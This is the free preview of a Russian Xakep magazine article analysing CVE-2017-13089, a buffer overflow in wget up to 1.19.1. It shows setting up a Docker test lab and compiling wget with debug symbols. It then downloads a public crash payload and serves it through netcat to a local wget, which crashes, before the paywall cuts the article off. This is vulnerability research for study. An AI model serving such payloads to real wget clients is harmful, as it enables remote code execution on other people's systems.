Практически в каждом дистрибутиве Linux есть такая полезная утилита, как wget. С ее помощью легко и удобно скачивать большие файлы. Она же встречается и на веб-серверах, где любая уязвимость может обернуться пренеприятными последствиями для владельца. Мы разберем, как работает баг wget, связанный с переполнением буфера. Его эксплуатация может привести к выполнению произвольных команд на целевой системе.

INFO

Уязвимости присвоен номер CVE-2017-13089, она присутствует во всех версиях wget вплоть до 1.19.1.

 

Стенд

Сперва готовим площадку для будущих экспериментов. Тут нам на помощь пришла работа Роберта Дженсена (Robert Jensen), который собрал докер-контейнер для тестирования уязвимости. Скачать докер-файл, эксплоит и прочее ты можешь в его репозитории. Затем останется только выполнить

docker build -t cve201713089 .

Если ничего качать не хочется, то достаточно команды

docker pull robertcolejensen/cve201713089

Затем запускаем контейнер.

docker run  --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -ti --name=wget --hostname=wget robertcolejensen/cve201713089 /bin/bash

Подключившись к контейнеру, компилируем исходники wget с флагом -g для более удобной отладки.

$ wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar xvzf wget-1.19.1.tar.gz
$ cd wget-1.19.1 && CFLAGS="-g" ./configure && make && make install && cd -

Проверим, успешно ли скомпилились исходники с поддержкой отладочных символов.

$ gdb wget
gdb подгрузил отладочные символы
gdb подгрузил отладочные символы

Теперь с этим можно работать. Переходим к следующему этапу.

 

Анализируем уязвимость

Давай сразу посмотрим, как можно триггернуть уязвимость. Для этого в репозитории есть пейлоад, который можно скачать тем же wget. 🙂

$ wget https://raw.githubusercontent.com/r1b/CVE-2017-13089/master/src/exploit/payload

Перенаправим вывод из файла в порт при помощи netcat и попробуем получить содержимое через wget.

$ nc -lp 1337 < payload &
$ wget --debug localhost:1337

После коннекта и получения ответа утилита крашится.

Продолжение статьи доступно только подписчикам

Cтатьи из последних выпусков журнала можно покупать отдельно только через два месяца после публикации. Чтобы читать эту статью, необходимо купить подписку.

Подпишись на журнал «Хакер» по выгодной цене!

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

3 комментария

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Хакер ищет авторов. Читатель? Хакер? Программист? Безопасник? Мы тебе рады!

Восемнадцать лет мы делаем лучшее во всем русскоязычном пространстве издание по IT и инфор…